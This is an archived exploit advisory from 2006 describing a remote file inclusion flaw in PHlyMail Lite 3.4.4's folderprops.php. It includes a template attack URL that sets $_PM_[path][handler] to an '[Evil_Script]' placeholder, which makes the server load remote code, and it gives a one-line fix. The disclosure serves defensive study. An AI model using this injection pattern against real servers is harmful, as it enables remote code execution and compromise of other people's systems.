PHlyMail Lite <= 3.4.4 (folderprops.php) Remote Include Vulnerability (2)

--------------------------------------------------------------------------- PHlyMail Lite &#60;= 3.4.4 (Build 3.04.04) [_PM_[path][handler]] Remote File Include Vulnerability [2] --------------------------------------------------------------------------- Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net : Remote : Yes Critical Level : Dangerous --------------------------------------------------------------------------- Affected software description : ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application : PHlyMail Lite version : v. 3.4.4 (Build 3.04.04) URL : http://phlymail.de/ ------------------------------------------------------------------ Exploit: ~~~~~~~ Variable $_PM_[path][handler] not sanitized.When register_globals=on an attacker can exploit this vulnerability with a simple php injection script. # http://www.site.com/[path]/handlers/email/folderprops.php?_PM_[path][handler]=[Evil_Script] --------------------------------------------------------------------------- Solution : ~~~~~~~~~ declare variabel $_PM_[path][handler] --------------------------------------------------------------------------- Shoutz: ~~~~~ # Special greetz to my good friend [Oo] # To all members of h4cky0u.org ;) and RST [ hTTp://RST-CREW.net ] --------------------------------------------------------------------------- */ Contact: ~~~~~~~ Nick: Kw3rLn E-mail: ciriboflacs[at]YaHoo[dot]Com Homepage: hTTp://RST-CREW.NET _/* -------------------------------- [ EOF] ---------------------------------- # milw0rm.com [2006-08-21]